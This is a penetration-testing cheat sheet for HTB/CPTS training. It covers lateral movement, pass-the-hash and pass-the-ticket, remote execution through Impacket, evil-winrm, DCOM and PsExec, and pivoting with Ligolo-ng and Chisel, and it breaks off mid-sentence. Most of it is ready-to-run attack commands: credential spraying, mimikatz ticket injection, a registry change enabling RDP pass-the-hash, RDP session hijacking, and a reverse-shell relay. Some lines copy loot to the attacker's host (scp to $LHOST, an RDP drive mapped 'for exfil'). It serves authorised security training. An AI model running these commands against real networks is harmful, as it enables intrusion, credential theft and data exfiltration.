lateral-movement-pivoting-and-loot.md (86708B)
1 --- 2 title: "Stage 10 — Lateral Movement, Pivoting, and Loot" 3 description: "CPTS attack-flow reference for stage 10 — lateral movement, pivoting, and loot in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 13 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-10", "pentest-workflow"] 8 tools: ["Evil-WinRM", "Impacket", "Ligolo-ng", "Chisel", "tcpdump", "TShark", "pktmon"] 9 difficulty: advanced 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/13 - Stage 10 - Lateral Movement Pivoting and Loot.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 13 of 17 · **Focus:** Stage 10 — Lateral Movement, Pivoting, and Loot 17 > 18 > **Previous:** [Stage 09 — Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) · **Next:** [Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) 19 20 --- 21 # 🔀 STAGE 10 — Lateral Movement, Pivoting & Loot 22 23 I've got creds (or a hash, or a ticket). Now I spread, tunnel into the networks I couldn't see, and rip every credential out of the domain. Full command decks live in Impacket-Cheatsheet · Impacket · Ligolo-ng Cheat sheet · Mimikatz-Cheatsheet · Netexec (nxc) Cheat Sheet · Tunneling · Pivoting and Tunnelling. 24 25 Feeding in: [Stage 08 — Password Attacks & Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) (where most of the hashes/creds I spray came from) · [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) (tickets I pass here) · [Stage 06 — ACL/Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) (rights that enable DCSync). Feeding out: [Domain Trusts & Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (where DA on this domain becomes the next forest). 26 27 > [!note] Auth shorthand used below 28 > `-u "$U" -p "$P"` = password. `$H` = the NT hash (PtH). `$K` = an AES256 key (overpass-the-hash / pass-the-key). For Kerberos/PtT I `export KRB5CCNAME=./ticket.ccache` then add `-k -no-pass`. Impacket wants the `"$DOMAIN/$U:$P@$IP"` target string; nxc / evil-winrm take flags. Always `-dc-ip $IP` (or `$DC`) over the VPN. Environment discipline: `export IP= U= P= H= DOMAIN= DC= LHOST=` at the start of the session and never paste real values into the note. 29 30 --- 31 32 ## 🔑 Credential Use Matrix — what each tool will actually accept 33 34 The #1 lateral-movement failure mode is feeding a tool a credential type it doesn't speak. This table is the quick reference; details per tool follow below. 35 36 | Tool | Protocol / Port | Password | NTLM hash (PtH) | AES key (PtK) | TGT/ST ticket (PtT) | Notes | 37 | :-- | :-- | :-: | :-: | :-: | :-: | :-- | 38 | [psexec.py](https://github.com/fortra/impacket) | SMB 445 | ✅ | ✅ `-hashes :$H` | ✅ `-hashes :$H -aesKey $K` | ✅ `-k -no-pass` | Needs ADMIN$ write + service create | 39 | [smbexec.py](https://github.com/fortra/impacket) | SMB 445 | ✅ | ✅ | ✅ | ✅ | No binary drop, service per command | 40 | [wmiexec.py](https://github.com/fortra/impacket) | DCERPC 135 → WMI | ✅ | ✅ | ✅ | ✅ | Quietest of the exec family | 41 | [atexec.py](https://github.com/fortra/impacket) | SMB 445 + Task Scheduler | ✅ | ✅ | ✅ | ✅ | Scheduled task, output via share read | 42 | [dcomexec.py](https://github.com/fortra/impacket) | DCOM 135 | ✅ | ✅ | ✅ | ✅ | MMC20 / ShellWindows / ShellBrowserWindow | 43 | [secretsdump.py](https://github.com/fortra/impacket) | SMB/DRSUAPI 445/135 | ✅ | ✅ | ✅ | ✅ | Remote SAM/LSA/DCSync | 44 | [nxc](https://github.com/Pennyw0rth/NetExec) `smb` | SMB 445 | ✅ | ✅ `-H $H` | ✅ `--aesKey $K` | ✅ `-k` | `-x`/`-X` exec, `--sam/--lsa/--ntds` loot | 45 | [nxc](https://github.com/Pennyw0rth/NetExec) `winrm` | WinRM 5985/5986 | ✅ | ✅ | ✅ | ✅ | Auth-check before evil-winrm | 46 | [nxc](https://github.com/Pennyw0rth/NetExec) `rdp` | RDP 3389 | ✅ | ✅ (Restricted Admin) | ✅ | ✅ | Spray-safe auth checks | 47 | [evil-winrm](https://github.com/Hackplayers/evil-winrm) | WinRM 5985/5986 | ✅ | ✅ `-H $H` | ❌ (use `-k` + ticket) | ✅ `-k` + `KRB5CCNAME` | `-r $DOMAIN` for Kerberos realm | 48 | [xfreerdp](https://github.com/FreeRDP/FreeRDP) | RDP 3389 | ✅ | ✅ `/pth:$H` + Restricted Admin | ❌ | ✅ `/d:` + Kerberos TGT via `/cert-ignore` (use `xfreerdp /kdc:` / ccache) | PtH needs `DisableRestrictedAdmin=0` | 49 | [Rubeus](https://github.com/GhostPack/Rubeus) | Kerberos 88 | ✅ `asktgt` | ✅ `asktgt /ntlm:` | ✅ `asktgt /aes256:` | ✅ `ptt /ticket:` | On-host ticket ops — see [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) | 50 | [mimikatz](https://github.com/gentilkiwi/mimikatz) | On-host | ✅ | ✅ `sekurlsa::pth` | ✅ `sekurlsa::pth /aes256:` | ✅ `kerberos::ptt` | Also `sekurlsa::ekeys` to *get* AES keys | 51 | [Enter-PSSession / Invoke-Command](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_remote) | WinRM 5985/5986 | ✅ `-Credential` | ❌ (NTLM builtin) | ❌ | ✅ (implicit Kerberos) | CredSSP delegation only if explicitly enabled | 52 | Sysinternals [PsExec](https://learn.microsoft.com/sysinternals/) | SMB 445 | ✅ `-u -p` | ❌ (no `-pth`) | ❌ | ❌ | Known binary — AV-signatured everywhere | 53 | `ssh.exe` (built-in OpenSSH) | SSH 22 | ✅ | ❌ | ❌ | ❌ | Windows 10 1809+/Server 2019+ ships it | 54 55 > [!tip] Rule of thumb 56 > **Impacket + nxc accept everything.** evil-winrm does password + NT hash natively; for AES/TGT go through `-k` + `KRB5CCNAME`. RDP only accepts a hash when Restricted Admin mode is enabled. Native Windows tooling (PSRemoting, mstsc, PsExec) mostly *won't* take a raw hash — that's what `sekurlsa::pth /run:` or Rubeus `ptt` are for: spawn a process with the credential injected, then use the native tool from inside it. 57 58 --- 59 60 ### 🎯 Step 1 — Find where I'm already admin 61 62 **What to look for:** `(Pwn3d!)` from [nxc](https://github.com/Pennyw0rth/NetExec) = local admin on that box. That's my lateral-movement map. SMB 445 = psexec/wmiexec, WinRM 5985 = evil-winrm, RDP 3389, DCOM/WMI on 135, SSH 22 on anything Linux-ish. 63 64 **Enumerate** 65 ```bash 66 # Spray my creds/hash across the subnet — where does admin land? 67 nxc smb $IP/24 -u "$U" -p "$P" 68 nxc smb $IP/24 -u "$U" -H "$H" # PtH spray 69 nxc smb $IP/24 -u "$U" -H "$H" --local-auth # local-admin reuse hunt 70 nxc smb $IP/24 -u "$U" -p "$P" -k # Kerberos (uses KRB5CCNAME / DNS names) 71 # Look for (Pwn3d!). WinRM / RDP / SSH reachable? 72 nxc winrm $IP -u "$U" -p "$P" 73 nxc rdp $IP/24 -u "$U" -p "$P" 74 nxc ssh $IP/24 -u "$U" -p "$P" 75 # Valid-but-not-admin creds still earn: enumerate shares and sessions to plan the path 76 nxc smb $IP -u "$U" -p "$P" --shares --sessions 77 ``` 78 79 > [!tip] Snowball 80 > Every `(Pwn3d!)` host → dump its LSASS/SAM → new creds → re-spray. Repeat until a DA session or replication rights fall out. Map ACL paths with BloodHound-Cheatsheet. MITRE: [T1021 Remote Services](https://attack.mitre.org/techniques/T1021/) — with sub-techniques for each protocol below (T1021.001 RDP, .002 SMB/Admin Shares, .004 SSH, .006 WinRM). Account discovery: [T1087](https://attack.mitre.org/techniques/T1087/), remote system discovery [T1018](https://attack.mitre.org/techniques/T1018/). 81 82 > [!warning] OPSEC on the spray 83 > Auth-check spraying fires **4625/4624** on *every* host in the range and can trip lockout thresholds for password auth (hashes don't lock out, but bad-count still increments on failed ones). Check the lockout policy first (`nxc smb $DC -u "$U" -p "$P" --pass-pol`), keep the spray to one or two password guesses, and log every host I authenticate to for the cleanup section at the bottom. 84 85 --- 86 87 ### 🖥️ Step 2 — Remote execution (own the box) 88 89 #### Evil-WinRM (5985/5986) 90 91 [evil-winrm](https://github.com/Hackplayers/evil-winrm) — the daily-driver interactive shell over WinRM. ([T1021.006](https://attack.mitre.org/techniques/T1021/006/)) 92 93 **Exploit** 94 ```bash 95 evil-winrm -i $IP -u "$U" -p "$P" 96 evil-winrm -i $IP -u "$U" -H "$H" # Pass-the-Hash 97 evil-winrm -i $DC -u "$U" -r "$DOMAIN" -k # Kerberos (ticket in KRB5CCNAME) 98 evil-winrm -i $IP -u "$U" -p "$P" -s /opt/tools/ # -s = scripts dir, then `menu` 99 evil-winrm -i $IP -u "$U" -p "$P" -e /opt/exes/ # -e = exe dir: Invoke-Binary without upload 100 # in-session: upload /local/mimikatz.exe C:\Temp\m.exe | download C:\loot\flag.txt ./ 101 ``` 102 103 > [!warning] Watch out 104 > WinRM needs **Remote Management Users** or admin — a foothold user often isn't in it. WinRM lands as the **user** context (not SYSTEM); privesc still needed for LSASS. Leaves Event 4624 Type 3 + `wsmprovhost.exe` hosting the runspace. Artifacts: `$env:TEMP` transient scripts, and the `-s` scripts actually upload to `C:\Users\<u>\AppData\Local\Temp` per execution — clean up. 105 106 #### Impacket exec family — psexec / wmiexec / smbexec / atexec / dcomexec 107 108 All from [Impacket](https://github.com/fortra/impacket). ([T1569.002](https://attack.mitre.org/techniques/T1569/002/) for psexec-style service exec, [T1047](https://attack.mitre.org/techniques/T1047/) WMI, [T1053.005](https://attack.mitre.org/techniques/T1053/005/) scheduled tasks, [T1021.003](https://attack.mitre.org/techniques/T1021/003/) DCOM.) 109 110 **Exploit** 111 ```bash 112 # wmiexec — my default: no binary dropped, no service (stealthiest) 113 wmiexec.py "$DOMAIN/$U:$P@$IP" 114 wmiexec.py "$DOMAIN/$U@$IP" -hashes ":$H" # PtH 115 wmiexec.py "$DOMAIN/$U:$P@$IP" "whoami /all" # one-shot 116 117 # psexec — SYSTEM shell, but drops a binary + service (loud) 118 psexec.py "$DOMAIN/$U:$P@$IP" 119 psexec.py ./Administrator:'Password1'@$IP # LOCAL admin, no domain (note the ./) 120 121 # smbexec — fileless service-per-command (middle ground) 122 smbexec.py "$DOMAIN/$U@$IP" -hashes ":$H" 123 124 # atexec — scheduled task (Task Scheduler RPC) 125 atexec.py "$DOMAIN/$U:$P@$IP" "whoami" 126 127 # dcomexec — via DCOM objects (MMC20 default; -object ShellWindows|ShellBrowserWindow) 128 dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" 129 dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" -object ShellWindows 130 131 # Kerberos / PtT variant (works for all of the above) 132 export KRB5CCNAME=./administrator.ccache 133 wmiexec.py -k -no-pass "$DOMAIN/Administrator@$DC" 134 ``` 135 136 > [!warning] Watch out 137 > **psexec.py = loudest** (Event 7045 new-service, binary in ADMIN$). **wmiexec = quietest** (no 7045, only `wmiprvse.exe → cmd.exe` on 4688). `-k` needs the **FQDN** (`$DC`), never a bare IP, and a synced clock — `KRB_AP_ERR_SKEW` means `ntpdate $DC` / `rdate -n $DC`. Local admin auth uses the `./user` prefix. **atexec** writes the command output to a temp file in ADMIN$ and reads it back over SMB — the task name is random but 4698/4702 (task created/modified) fire if Task Scheduler auditing is on. **dcomexec/ShellWindows** needs the target's shell to resolve the object; MMC20 is the most reliable object. 138 139 > [!info] Requirements per impacket exec method 140 > | Method | Needs | Writes | Detected by | 141 > | :-- | :-- | :-- | :-- | 142 > | psexec.py | Local admin, ADMIN$ write, Service Control Manager RPC | `.exe` in ADMIN$ + service | **7045** (service install), 4697, 4624 Type 3, 4672 | 143 > | smbexec.py | Local admin, ADMIN$ write | None persistent; temp `.bat`/output files in ADMIN$ | 7045/4697 (per command!), 4624 Type 3 | 144 > | wmiexec.py | Local admin, DCERPC 135 + dynamic ports | Output file in ADMIN$ (deleted after) | 4688 `wmiprvse.exe → cmd.exe`, 4624 Type 3 | 145 > | atexec.py | Local admin, Task Scheduler RPC | Temp output in ADMIN$; task created+deleted | 4698/4702 (if audited), 4688 `svchost.exe → taskeng`, 4624 Type 3 | 146 > | dcomexec.py | Local admin, 135 + dynamic | None | 4688 `explorer.exe`/`mmc.exe` → child proc, 4624 Type 3 | 147 > | **all** | — | — | **4648** (explicit creds) if password used, **4672** (special privileges) on admin logon | 148 149 #### nxc exec (mass / scripted) 150 151 **Exploit** 152 ```bash 153 nxc smb $IP -u "$U" -p "$P" -x "whoami" # cmd 154 nxc smb $IP -u "$U" -p "$P" -X "Get-Process" # PowerShell 155 nxc smb $IP -u "$U" -H "$H" -x "whoami" --exec-method smbexec # wmiexec|atexec|mmcexec 156 nxc smb $IP/24 -u "$U" -H "$H" -x "hostname" # spray a command subnet-wide 157 nxc winrm $IP -u "$U" -H "$H" -X "whoami" # exec over WinRM instead of SMB 158 ``` 159 160 > [!tip] Choosing `--exec-method` 161 > `wmiexec` (default) is the quiet option; `atexec` survives WMI filters/EDR blocking `wmiprvse` children; `smbexec` works when WMI is broken; `mmcexec` rides DCOM via MMC20 — a good answer when services/scheduler are audited but DCOM isn't. On **domain controllers** psexec-style exec fails more often (no writable ADMIN$ is not the issue — service creation under heavy SACL auditing is); prefer wmiexec/atexec there. 162 163 #### WinRM / PowerShell Remoting — native (no binary dropped) 164 165 **Exploit** 166 ```powershell 167 # From a Windows attack/dev box with the credential as a PSCredential: 168 $pass = ConvertTo-SecureString "$P" -AsPlainText -Force 169 $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$U", $pass) 170 Enter-PSSession -ComputerName $IP -Credential $cred 171 Invoke-Command -ComputerName $IP -Credential $cred -ScriptBlock { whoami; hostname } 172 Invoke-Command -ComputerName srv01,srv02,srv03 -Credential $cred -ScriptBlock { hostname } # fan-out 173 # Copy a file over the remoting session (PS5+): 174 $s = New-PSSession -ComputerName $IP -Credential $cred 175 Copy-Item .\SharpHound.exe -Destination C:\Temp\ -ToSession $s 176 ``` 177 178 > [!tools] Stage this — WMI-native exec 179 > [SharpWMI](https://github.com/GhostPack/SharpWMI) — WMI lateral movement without touching SMB/ADMIN$: process spawn, file up/download, VBS exec, event-log queries. 180 > 181 > [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpWMI.exe.sha256.asc)) 182 183 ```text 184 # On-host (GhostPack SharpWMI) — WMI process exec as the current/impersonated user: 185 SharpWMI.exe action=exec computername=$IP command="powershell -enc <b64>" 186 SharpWMI.exe action=exec computername=$IP command="cmd /c whoami > C:\Temp\o.txt" result=true 187 SharpWMI.exe action=upload computername=$IP source="C:\Tools\beacon.exe" dest="C:\Temp\b.exe" 188 SharpWMI.exe action=ls computername=$IP path="C:\Temp" 189 ``` 190 191 > [!warning] Watch out 192 > PSRemoting leaves 4624 Type 3 + `wsmprovhost.exe` (4688), plus PowerShell 4103/4104 (module/script-block logging) with my *full command text* if those logs are on — assume they are in any monitored lab. **Double-hop problem:** from a PSRemoting session my credential can't re-authenticate to a third box unless CredSSP is enabled (dangerous: it sends cleartext creds) — use the hash/ticket directly instead. SharpWMI process exec gives **no stdout by default** — redirect to a file and `action=download` it back. 193 194 #### DCOM — MMC20 / ShellWindows / ShellBrowserWindow (T1021.003) 195 196 DCOM instantiates a COM object over RPC and tells it to run something. No service, no share write — the tradeoff is reliability differences per object. 197 198 ```bash 199 # impacket (MMC20.Application default): 200 dcomexec.py "$DOMAIN/$U:$P@$IP" "whoami" 201 dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" -object ShellBrowserWindow 202 # nxc mmcexec = MMC20 wrapper: 203 nxc smb $IP -u "$U" -H "$H" -x "whoami" --exec-method mmcexec 204 ``` 205 ```powershell 206 # Native PowerShell, no tooling at all (MMC20): 207 $d = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$IP")) 208 $d.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\o.txt","7") 209 # ShellWindows (needs explorer.exe running on target — i.e. an interactive session): 210 $w = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","$IP")) 211 $w.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\Temp\o.txt","C:\","",0) 212 ``` 213 214 > [!warning] Watch out 215 > **MMC20** works headless (server OK). **ShellWindows/ShellBrowserWindow** require an interactive logon session on the target (explorer running) — fine for workstations, fails on servers nobody is logged into. Detection: 4688 child of `mmc.exe`/`explorer.exe`, 4624 Type 3. No stdout over DCOM — redirect to file, read via SMB or `SharpWMI action=download`. 216 217 #### RDP (3389) 218 219 [xfreerdp](https://github.com/FreeRDP/FreeRDP) — GUI access, screenshot-grade proof, and the only exec method that gives an **interactive** logon (useful for tools that need it). ([T1021.001](https://attack.mitre.org/techniques/T1021/001/)) 220 221 **Exploit** 222 ```bash 223 xfreerdp /u:"$U" /p:"$P" /v:$IP /cert-ignore /dynamic-resolution 224 xfreerdp /u:"$U" /d:"$DOMAIN" /p:"$P" /v:$IP /cert-ignore /drive:loot,/tmp # map my dir for exfil 225 # PtH over RDP — needs Restricted Admin mode enabled first: 226 nxc smb $IP -u "$U" -H "$H" -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f' 227 xfreerdp /u:Administrator /pth:$H /v:$IP /cert-ignore 228 ``` 229 ```powershell 230 # Session hijack as SYSTEM (no password) — steal a disconnected session: 231 query user # find Disconnected id 232 sc create sesshijack binPath= "cmd.exe /c tscon 2 /dest:console" 233 net start sesshijack 234 ``` 235 236 > [!warning] Watch out 237 > `/pth` RDP fails unless `DisableRestrictedAdmin=0` — **remember to set it back to `1` during cleanup** (I changed a security-relevant key; log it). Restricted Admin is *network* logon under the hood — the server never receives the password, which is exactly why PtH works. Session hijack needs a full **SYSTEM** token. RDP is Logon Type 10; reconnect fires Event 4778 (hijack tell), and TerminalServices logs 21/23/24/25. Kicking a logged-in user with my RDP session is visible and rude — check `query user` first. See ⚫ Attack. 238 239 #### SSH from Windows — the built-in client 240 241 Windows 10 1809+ / Server 2019+ ship `ssh.exe`, `scp.exe`, `ssh-keygen.exe` (OpenSSH client) in `C:\Windows\System32\OpenSSH\`. When I land on a Windows box and a Linux target is next, no upload needed. ([T1021.004](https://attack.mitre.org/techniques/T1021/004/)) 242 243 ```batch 244 :: Password auth is interactive — for scripted use, key auth or sshpass equivalent: 245 ssh user@172.16.5.10 246 ssh -i C:\Users\me\.ssh\id_rsa user@172.16.5.10 247 :: Pivot straight from the compromised Windows box (dynamic SOCKS): 248 ssh -N -D 9050 user@172.16.5.10 249 :: If the OpenSSH server feature is installed on a Windows target, it works inbound too: 250 ssh administrator@$IP :: lands in cmd.exe; shell=powershell if defaultShell is set 251 scp C:\loot.zip user@$LHOST:/tmp/ 252 ``` 253 254 > [!tip] CPTS 255 > Exam boxes love a Windows pivot with `ssh.exe` present and a Linux box behind it. `ssh -D` from Windows + Proxifier (or a second attacker-side relay) beats fighting to upload a tunnelling binary to a host with applocker. 256 257 #### Sysinternals PsExec — the "legitimate admin tool" variant 258 259 [PsExec](https://learn.microsoft.com/sysinternals/) (Sysinternals Suite) is the signed, whitelisted-ish original that psexec.py emulates. Use it when I'm on a Windows beachhead with a password and don't want to drop my own tooling. 260 261 ```batch 262 PsExec.exe \\$IP -u $DOMAIN\$U -p "$P" cmd.exe 263 PsExec.exe \\$IP -u $DOMAIN\$U -p "$P" -s powershell.exe :: -s = SYSTEM 264 PsExec.exe \\$IP -accepteula -u $DOMAIN\$U -p "$P" -c C:\Tools\proc.exe :: copy + run 265 ``` 266 267 > [!warning] Watch out 268 > No PtH support (`-u/-p` only) — pair with `sekurlsa::pth /run:` to spawn a shell in the hash's context first. Drops `PSEXESVC.exe` into ADMIN$ and creates the `PSEXESVC` service: 7045/4697 every time, and the binary is signatured by essentially all AV. First run needs `-accepteula` or it hangs on the EULA dialog. 269 270 #### 🔒 Kerberos ticket use — Rubeus & mimikatz (bridge from Stage 05) 271 272 When my "credential" is a ticket or an AES/RC4 key rather than a password, this is the on-host bridge to every native tool. Full attacks (roasting, delegation, tickets) live in [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks). 273 274 > [!tools] Stage this 275 > [Rubeus](https://github.com/GhostPack/Rubeus) — Kerberos abuse toolkit: request tickets, pass-the-ticket, renew, harvest. 276 > 277 > [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) 278 279 > [!tools] Stage this 280 > [mimikatz](https://github.com/gentilkiwi/mimikatz) — LSASS extraction, PtH, ticket injection, DCSync. 281 > 282 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) 283 284 ```text 285 :: Rubeus — key material → ticket → injected into the current session: 286 Rubeus.exe asktgt /user:$U /domain:$DOMAIN /aes256:$K /opsec /ptt :: AES key → TGT, injected 287 Rubeus.exe asktgt /user:$U /domain:$DOMAIN /rc4:$H /ptt :: NT hash (= RC4 key) → TGT 288 Rubeus.exe asktgs /ticket:<b64kirbi> /service:cifs/$DC /ptt :: TGT → service ticket, injected 289 Rubeus.exe ptt /ticket:<b64kirbi> :: inject an existing .kirbi 290 Rubeus.exe renew /ticket:<b64kirbi> /ptt :: renew before expiry 291 klist :: verify what I hold 292 ``` 293 ```text 294 :: mimikatz equivalents: 295 privilege::debug 296 sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$H /run:cmd.exe :: spawn cmd in hash context 297 sekurlsa::pth /user:Administrator /domain:$DOMAIN /aes256:$K /run:cmd.exe :: overpass-the-hash 298 kerberos::ptt C:\Temp\administrator.kirbi :: inject ticket 299 kerberos::list /export :: pull all session tickets to .kirbi 300 ``` 301 302 > [!warning] Watch out 303 > PtT needs the ticket **format to match the tool**: Rubeus/mimikatz take `.kirbi`; Impacket takes `.ccache` — convert with [ticketConverter.py](https://github.com/fortra/impacket). Overpass-the-hash with `/aes256` avoids RC4 (aes-only accounts, and RC4 downgrade is a detection). After `sekurlsa::pth /run:` the spawned process has **bogus local creds + real network creds** — always test with `dir \\$DC\c$` (network), not `whoami`. Detections: 4624 **Type 9** (NewCredentials — the `runas /netonly` signature pth uses), 4672, LSASS access 4663/Sysmon 10 for mimikatz itself. From Linux, prefer staying fileless: `export KRB5CCNAME` + `-k -no-pass` on the impacket tool directly. 304 305 --- 306 307 ### 🕸️ Step 3 — Pivoting (reach the networks I can't see) 308 309 #### Ligolo-ng — first pivot, end to end (the 90% case) 310 311 [ligolo-ng](https://github.com/nicocha30/ligolo-ng) gives a real TUN interface on my box — every tool works natively (full nmap, impacket, no proxychains). Three players: **proxy** (my box, the CLI), **agent** (on the pivot, dials back to me), **target** (behind the pivot). Connecting ≠ traffic flowing — I still need session → interface → route → tunnel. `autoroute` bundles the last three. 312 313 > [!tools] Stage this 314 > ligolo-ng **agents** (the proxy runs from my attack box; drop the matching agent on the pivot): 315 > 316 > [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) 317 > 318 > [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) 319 320 **Attacker — start proxy** 321 ```bash 322 sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601 323 # production-grade: real certs, -certfile/-keyfile; -selfcert is fine for the lab 324 ``` 325 **Pivot — run the agent** (transfer the binary first; see file-transfer one-liners in Tunneling) 326 ```bash 327 ./agent -connect $LHOST:11601 -ignore-cert -retry # Linux 328 # .\agent.exe -connect $LHOST:11601 -ignore-cert -retry # Windows 329 ``` 330 **In the proxy CLI — build the tunnel** 331 ```text 332 session # arrow-pick the agent → prompt becomes [Agent : root@dmz01] » 333 ifconfig # read the pivot's NICs, spot the internal subnet (e.g. 172.16.10.0/24) 334 autoroute # Space to tick the internal subnet → create iface `ligolo` → Yes to start 335 # manual equivalent (when autoroute isn't available or I want control): 336 ifcreate --name ligolo 337 route_add --name ligolo --route 172.16.10.0/24 338 start 339 tunnel_list 340 interface_list 341 ``` 342 **Attacker — verify and scan through it** (normal shell, NOT the Ligolo CLI) 343 ```bash 344 ip route show dev ligolo 345 nmap --unprivileged -sT -Pn -n -p 22,80,445,3389,5985 172.16.10.20 346 ``` 347 348 > [!warning] Watch out 349 > v0.9.x: use **bare `session`** and pick interactively — `session 1` / `session -i 1` are copied from dead guides and error. Ligolo rebuilds traffic in userspace, so scan **`-sT -Pn -n --unprivileged`** — raw SYN scans and ping give empty results through the tunnel. Interface name is a flag: `autoroute --interface ligolo`, never `autoroute ligolo`. On the Windows agent, run it from a path I control (`C:\Windows\Temp\agent.exe`) and `-ignore-cert` is only acceptable with `-selfcert` on my side; with real certs pin properly. The agent connection is a single outbound TLS session — it survives NAT and egress filtering as long as TCP/11601 out is allowed. 350 351 #### Ligolo — double pivot 352 353 The deep net (`10.20.30.0/24`) sits behind a **second** box only the first pivot can reach. Point Agent 2 at a **listener on Pivot 1** (Pivot 2 has no route to my VPN — that's the whole point), and give it its own interface. 354 355 ```text 356 # Pivot 1 selected — open a relay back to my proxy: 357 listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp 358 listener_list 359 ``` 360 ```bash 361 # On Pivot 2 — dial Pivot 1's reachable IP + listener port (NOT $LHOST): 362 /tmp/agent -connect 172.16.10.10:4444 -ignore-cert -retry 363 ``` 364 ```text 365 # Back in proxy — the new agent appears: 366 session # select srv02 (agent 2) 367 autoroute --interface ligolo2 # tick ONLY 10.20.30.0/24, start 368 ``` 369 370 > [!warning] Watch out 371 > **Each pivot gets its own interface** (`ligolo`, `ligolo2`, …) — never route the shared subnet through two interfaces or packets go down the wrong tunnel. Start Agent 2 with `-retry` in case the relay isn't ready. Triple pivots chain the same way: listener on the deepest reachable agent, next agent dials that listener. 372 373 #### Ligolo — reverse shells & the pivot's own localhost 374 375 ```text 376 # Catch a reverse shell from inside: internal host → pivot:5555 → my nc on 4444 377 listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:4444 --tcp 378 # Reach a service bound to 127.0.0.1 ON THE PIVOT (magic 240.0.0.0/4 range): 379 route_add --name ligolo --route 240.0.0.1/32 380 ``` 381 ```bash 382 nc -lvnp 4444 # my handler; payload calls back to <pivot-ip>:5555 383 curl http://240.0.0.1:8080/ # 240.0.0.1 == pivot's own localhost 384 ``` 385 386 > [!tip] Listener mental model 387 > `listener_add --addr <pivot-bind> --to <my-side>` makes the **pivot** listen and pipes the connection back through the proxy to **my** loopback. This is THE answer to "internal target has no route to me": the target calls the pivot (which it *can* reach), and the callback lands on my handler. `listener_del 0` removes it at cleanup. 388 389 #### Chisel — reverse SOCKS (HTTP-only egress) 390 391 [chisel](https://github.com/jpillora/chisel) tunnels TCP/UDP over HTTP(S) — survives proxies that only allow web traffic, and one binary does server+client. 392 393 > [!tools] Stage this 394 > chisel binaries: 395 > 396 > [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) 397 > 398 > [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) 399 400 ```bash 401 # Attacker: 402 ./chisel server -p 8080 --reverse 403 # Pivot (dials out over what looks like HTTP): 404 ./chisel client $LHOST:8080 R:1080:socks 405 # Expose a single deep service instead of full SOCKS: 406 ./chisel client $LHOST:8080 R:1433:172.16.5.10:1433 # then mssqlclient.py sa:pw@127.0.0.1:1433 407 # Forward (non-reverse) when the pivot CAN reach me and I want pivot-side listen → my side: 408 ./chisel server -p 8080 409 ./chisel client $LHOST:8080 3000:10.20.30.5:3000 # my :3000 → deep host :3000 via pivot 410 # Auth + fingerprint pinning for anything beyond a lab: 411 ./chisel server -p 8080 --reverse --auth user:pass 412 ./chisel client --fingerprint <base64> $LHOST:8080 R:1080:socks 413 ``` 414 415 > [!warning] Watch out 416 > Server needs `--reverse` for `R:` remotes or the SOCKS proxy silently won't work (the #1 chisel failure). Chisel is **SOCKS5 = TCP-only** — same `-sT -Pn` constraint as everything SOCKS. TLS mode (`chisel server --tls-key/--tls-cert`, client `https://`) makes it look like HTTPS; plaintext mode is trivially DPI-fingerprintable. Windows Defender has signatures for default chisel builds — expect to need a rename at minimum in monitored environments. 417 418 #### proxychains + SOCKS — run any tool through the tunnel 419 420 [proxychains-ng](https://github.com/rofl0r/proxychains-ng) LD_PRELOADs any Linux tool's connect() through my SOCKS 